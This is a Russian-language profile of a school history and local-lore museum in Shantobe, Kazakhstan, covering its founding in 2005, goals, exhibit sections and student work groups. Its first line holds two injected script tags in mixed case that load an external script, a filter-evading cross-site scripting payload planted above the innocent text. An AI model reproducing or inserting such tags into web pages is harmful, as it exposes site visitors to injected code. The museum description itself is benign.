<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>
Характеристика историко-краеведческого музея поселка Шантобе
1. Историко - краеведческий музей поселка Шантобе.
2. Почтовый адрес: 021428 п.Шантобе, Сандактауский район, Акмолинская область. Электронный адрес: shik_shan@gmail.ru
3. Решение о создании музея было принято решении в 2005 году. Благодаря совместным усилиям учащихся, учителей, родительской общественностью, жителей поселка. Вместе они осуществляли сбор экспонатов, завязывали переписку с бывшими выпускниками школы, собирали воспоминания фронтовиков – участников Великой Отечественной войны, ветеранов, документационный материал. Музей открыт 9 мая 2005 года.
4. Цель создания: Содействие в героико-патриотическом и нравственном воспитании учащихся; создание условий для формирования гражданского и национального самосознания обучающихся; использование средств музейной педагогики для воспитания творческой личности.
5. Помещение: музей занимает площадь – 51 кв. м, расположен на 3 этаже здания школы.
Количество экспонатов – 500.
Из них подлинные – 400.
6. Режим работы музея-с 15-00- до 17-00 с понедельника по пятницу.
7. 350-400 человек в год.
8. Руководитель музея: Смирнов Сергей Богданович, учитель истории и географии, стаж работы 6,5 лет, в должности руководителя музея 2,5 года.
9. Серия фотографий отображающие профиль музея. (смотрено в приложение)
10. Задачи музея:
Интеграция основного и дополнительного образования детей, сближение процессов воспитания, обучения и развития.
Создание максимальных условий для освоения обучающимися духовных и культурных ценностей предков, их быта, обычаев.
Создание нравственного и эмоционально благоприятной среды для формирования классного и школьного коллектива, развитие личности ребёнка в них.
Активизация работы школьного самоуправления.
Развитие учебно-исследовательских навыков в процессе работы.
Развитие творческих способностей, коммуникативности через дифференцируемый подход к учащимся.
11. Основные направления работы:
1.Краеведческая работа
2.Поисковая работа
3.Экскурсии по музею
4. Лекторская работа
5.Переписка
6.Пополнение фонда
12. Разделы экспозиций музея:
1.Мы живем в поселке Шантобе
2.Богатство нашего края
3. Этапы истории нашей Родины
4.История нашей школы
5.Космос
6.Уголок боевой славы нашего поселка
7.Материальная культура казахов
В экспозиции «Мы живем в поселке Шантобе» собран материал о истории возникновения населенного пункта. Этапы становления и развития поселка. Данные о первых жителях, руководителях предприятия. Богатый фотоматериал о трудовой деятельности и культурной жизни жителей поселка. Имеется подробный макет поселка Шантобе.
Экспозиция «Богатство нашего края» представлена экспонатами из животного мира, красочными фотографиями великолепных пейзажей родного края. Собран ценнейший и богатейший фонд образцов минералов, полезных ископаемых встречающихся в недрах нашего края. Макет геологоразведочной скважины, инструменты и снаряжение шахтеров-горняков. Подробная геологическая карта близлежащих окрестностей.
«История нашей школы»- эта экспозиция состоит из документального и фотоматериала из истории школы. Летопись школы ведется с момента начала ее работы. Фотографии каждого выпуска, классных руководителей и учителей.
Экспозиция под названием «Космос» тесно связана с человеком, именем которого названа школа. Рассказывает о этапах покорения космоса, его героях.Фотографии космонавтов Советского Союза и первых космонавтов- казахстанцев.
Экспозиция «Уголок боевой славы нашего поселка» представлена фотографиями ветеранов участников Великой Отечественной войны, творческими работами учащихся на данную тему. Фотографии участников войны в Афганистане, материал о шантобинцах погибших на этой войне. Уголок памяти выпускника нашей школы, Героя России Ветчинова Д.В.
«Этапы истории нашей Родины» - эта экспозиция расскажет нам о основных этапах истории нашей школы, достижениях нашей страны за годы независимости.
«Материальная культура казахов» данная экспозиция продемонстрирует перед посетителями богатую и самобытную культуру казахского народа. Экспозиция представлена макетом юрты, национальной одеждой, предметами быта, посудой, музыкальными инструментами и т.д.
13. Формы работы:
: урок-беседа, урок-экскурсия, урок-лекция, урок-путешествие, урок беседа с элементами творческо-поисковых заданий, урок-игра, практическое занятие, походы, мини – этнографические экспедиции, музейные уроки.
Деятельность музея осуществляет его актив, состоящий из групп:
1) Совет музея, организующие и проводящие индивидуальную и массовую культурно-просветительскую, поисковую, экспозиционную, исследовательскую и другую работу музея.
2) Музееведы – учащиеся 5 – 6-х классов, обучающиеся навыкам музейной работы и участвующие в подготовке и проведении поисковой, оформительской и культурно-просветительской работе музея.
3) Фондово-оформительская группа – учащиеся 5 – 10-х классов, обучающиеся правилам и навыкам ведения учёта и сохранности музейных фондов, художественного оформления; выполняющие работу по оформлению альбомов, выставок, экспозиций, выпуску информационных листков и др.
4) Экскурсионно-творческая группа – учащиеся 5 – 10-х классов, ведущие работу по подготовке и проведению культурно-просветительских, экскурсионных и прочих творческих мероприятий музея для учащихся школы всех возрастных групп.